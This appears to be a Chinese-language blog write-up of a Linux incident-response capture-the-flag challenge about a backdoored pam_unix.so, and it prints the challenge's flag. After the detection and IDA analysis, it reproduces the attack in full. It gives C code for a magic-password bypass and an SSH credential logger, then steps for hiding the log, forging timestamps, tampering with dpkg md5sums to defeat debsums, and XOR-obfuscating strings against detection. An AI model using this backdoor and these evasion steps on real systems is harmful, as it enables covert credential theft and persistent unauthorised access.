一道来自好靶场的 Linux 应急响应题:服务器被hacker入侵了,看看他给你留下了什么8
0x01 排查
Linux 应急响应里,一个很常见的切入点是看近期变化。因为入侵后攻击者通常至少会改变一些东西:落地文件、改配置、写日志、改认证模块、加定时任务、加后门账号、改 shell 配置
find / -type f \
-newermt "2025-10-30 07:00" ! -newermt "2025-10-30 08:00" \
-not \( -path "/proc/*" -o -path "/sys/*" -o -path "/dev/*" -o -path "/run/*" -o -path "/var/log/*" \) \
-exec ls -lh --time-style="+%Y-%m-%d %H:%M:%S" {} \; 2>/dev/null \
| sort -k6,7

这里的 .sshlog 是一个非常可疑的隐藏文件
正常 Linux 系统的 SSH 登录日志通常在这些地方:
/var/log/auth.log
/var/log/secure
/var/log/lastlog
/var/log/wtmp
/var/log/btmp

发现这里记录了ssh登录的密码
Google了一下发现:Linux PAM后门 用于窃取ssh密码及自定义密码登录
0x02 PAM
PAM 是 Linux 的认证框架,可以理解成系统认证的中间层。SSH、login、su、sudo 这些服务一般不会各自完整实现一套密码校验逻辑,而是把认证请求交给 PAM,再由 PAM 按配置调用对应的模块。
pam_unix.so 就是常见的本地账号密码认证模块。用户通过 SSH 输入密码后,请求会走到这类 PAM 模块里,所以如果它被替换或篡改,恶意逻辑就可能在认证过程中拿到账号和密码,顺手写入文件,甚至额外放行某个特殊密码。
在 Debian/Ubuntu 系统上,可以先用包校验看 PAM 模块有没有被改过:
dpkg -V libpam-modules

说明 pam_unix.so 被修改了
0x03 分析 pam_unix.so
因为这个文件是二进制 .so,不适合直接 cat 出来复制。这里先在靶机里把它转成 base64 文本,再保存到本地还原分析:
base64 /lib/x86_64-linux-gnu/security/pam_unix.so > /tmp/pam_unix.so.b64
cat /tmp/pam_unix.so.b64
把这个被修改过的 pam_unix.so 保存到本地,然后丢进 IDA 分析。
先看导出函数,重点关注 pam_sm_authenticate。这个函数就是 PAM 模块处理认证请求的入口之一,和 SSH 登录验证关系很近

继续看伪代码,可以看到认证流程里多了可疑判断和写文件逻辑:一边判断输入内容,一边把账号和输入写到 /tmp/.sshlog
这就和我们前面应急排查时发现的异常文件对应上了

IDA 里的可疑字符串还提示我们看 /var/lib/apt/lists。去这个目录下看,发现了一个 upgrade.conf:

里面的内容就是最后的 flag:
flag{46bd035a908e4ad1bdd6baf1d69b8f64}
0x04 重生之我是黑客
我拿一台ubuntu来复现这个漏洞

安装一下编译 PAM 需要的工具和库:
sudo apt install -y build-essential libpam0g-dev libaudit-dev flex bison autoconf automake libtool pkg-config libselinux1-dev
开启一下源码源,并刷新
sudo sed -i 's/^Types: deb$/Types: deb deb-src/' /etc/apt/sources.list.d/ubuntu.sources
sudo apt update
下载源码:
cd ~
apt source libpam-modules
cd pam-1.5.3
编译一下原始版本
./configure --prefix=/usr --sysconfdir=/etc
make
备份原始 so 文件
sudo cp /usr/lib/aarch64-linux-gnu/security/pam_unix.so \
/usr/lib/aarch64-linux-gnu/security/pam_unix.so.bak
第一阶段:植入后门
编辑源码

1.万能密码
我们在 _unix_verify_password 调用之前插入:
/* === BACKDOOR: magic password === */
if (p && strcmp(p, "backdoor123") == 0) {
retval = PAM_SUCCESS;
name = p = NULL;
AUTH_RETURN;
}

编译
./configure --prefix=/usr --sysconfdir=/etc
make
并替换

由于sudo 执行前会走 PAM 认证链路,可能会加载:
/usr/lib/aarch64-linux-gnu/security/pam_unix.so
我们一开始:
sudo cp modules/pam_unix/.libs/pam_unix.so \
/usr/lib/aarch64-linux-gnu/security/pam_unix.so
等于一边让 sudo 使用 PAM,一边把 PAM 的核心模块覆盖掉。cp 默认会直接截断并写目标文件,正在被加载的 .so 被改掉,就可能导致 sudo 或 PAM 崩溃,所以出现:
Segmentation fault (core dumped)
所以我们先提权
sudo su
进了 root shell,再执行:
cp modules/pam_unix/.libs/pam_unix.so \
/usr/lib/aarch64-linux-gnu/security/pam_unix.so
这样我们任意用户输入 backdoor123 均可通过 SSH 认证,并且原密码仍然有效
sudo tail -f /var/log/auth.log
看一下日志,万能密码和原始密码没有区别

2.密码窃取
在 _unix_verify_password 调用之后、name = p = NULL 之前插入:
/* === BACKDOOR: credential logger === */
if (retval == PAM_SUCCESS) {
FILE *fp;
fp = fopen("/tmp/.sshlog", "a");
if (fp) {
fprintf(fp, "%s : %s\n", name, p);
fclose(fp);
}
}

cp modules/pam_unix/.libs/pam_unix.so /usr/lib/aarch64-linux-gnu/security/pam_unix.so

拿下,pam : 123456
但是既然我们都重生了,就不能再被发现了
第二阶段:清除痕迹
1.把日志路径从 /tmp/.sshlog 改到更隐蔽的系统目录:
/* 改为系统目录,文件名伪装成正常缓存文件 */
fp = fopen("/usr/share/locale/.cache", "a");
if (fp) {
fprintf(fp, "%s : %s\n", name, p);
fclose(fp);
chmod("/usr/share/locale/.cache", 0600); // 只有 root 可读
}

# 替换 so
sudo su
cp modules/pam_unix/.libs/pam_unix.so \
/usr/lib/aarch64-linux-gnu/security/pam_unix.so
2.伪造 so 文件时间戳
伪造前,我们先看一下(由于我这个环境是刚搭建的,所以时间差别不是很大,如果实战的时候,你懂的)

# 用备份文件的时间戳覆盖新文件的时间戳
sudo touch -r /usr/lib/aarch64-linux-gnu/security/pam_unix.so.bak \
/usr/lib/aarch64-linux-gnu/security/pam_unix.so

OK ,看看痕迹🤫



3.清除编译和操作痕迹

第三阶段:绕过完整性校验
时间戳可以伪造,但文件内容变了,hash 值一定变。蓝队可以使用 debsums 校验系统文件

直观对比一下 hash

众所周知 debsums 的校验数据库存在 /var/lib/dpkg/info/ 下,是普通文件,可以被修改

替换 md5sums 文件中对应条目
sudo sed -i 's/dpkg 原始记录的值(官方包的哈希)/被篡改后的 `pam_unix.so` 的哈希/' \
/var/lib/dpkg/info/libpam-modules\:arm64.md5sums

这就告诉蓝队必须要依赖外部基准,不要相信机器上的任何记录:
# 从官方镜像重新下载包,提取原版文件对比
apt download libpam-modules
dpkg-deb -x libpam-modules_*.deb /tmp/pam_orig
md5sum /tmp/pam_orig/usr/lib/aarch64-linux-gnu/security/pam_unix.so
第四阶段:字符串混淆
如果说蓝队直接分析 so 文件内容
strings /usr/lib/aarch64-linux-gnu/security/pam_unix.so | less
# 或者搜索可疑关键词
strings /usr/lib/aarch64-linux-gnu/security/pam_unix.so | \
grep -Ei "backdoor|password|log|tmp|cache|fopen|fprintf"

这你不炸了,但是如果我们不在代码中使用任何明文字符串,改用运行时动态解码。阁下又该如何应对
1.XOR 混淆字符串
写一个辅助脚本生成混淆后的字节数组:
key = 0x5A
s = "backdoor123"
encoded = [hex(ord(c) ^ key) for c in s]
print("{" + ",".join(encoded) + ",0x00}")
s2 = "/usr/share/locale/.cache"
encoded2 = [hex(ord(c) ^ key) for c in s2]
print("{" + ",".join(encoded2) + ",0x00}")


2. 在 C 代码中使用混淆字符串
/* 运行时解码,不留明文字符串 */
static inline void xor_decode(char *buf, const unsigned char *enc, int len) {
for (int i = 0; i < len; i++)
buf[i] = enc[i] ^ 0x5A;
}
/* 万能密码,混淆存储 */
static const unsigned char magic_enc[] = {
0x38,0x3b,0x39,0x31,0x3e,0x35,0x35,0x28,0x6b,0x68,0x69,0x00
};
/* 日志路径,混淆存储 */
static const unsigned char logpath_enc[] = { 0x75,0x2f,0x29,0x28,0x75,0x29,0x32,0x3b,0x28,0x3f,0x75,0x36,0x35,0x39,0x3b,0x36,0x3f,0x75,0x74,0x39,0x3b,0x39,0x32,0x3f,0x00
};
/* 万能密码 */
char magic[32] = {0};
xor_decode(magic, magic_enc, sizeof(magic_enc));
if (p && strcmp(p, magic) == 0) {
memset(magic, 0, sizeof(magic)); // 用完立刻清零
retval = PAM_SUCCESS;
name = p = NULL;
AUTH_RETURN;
}
memset(magic, 0, sizeof(magic));
/* 记录密码 */
if (retval == PAM_SUCCESS) {
char logpath[64] = {0};
xor_decode(logpath, logpath_enc, sizeof(logpath_enc));
FILE *fp = fopen(logpath, "a");
if (fp) {
fprintf(fp, "%s : %s\n", name, p);
fclose(fp);
}
memset(logpath, 0, sizeof(logpath));
}


没错就按照这个思路来混淆字符串

未完待续…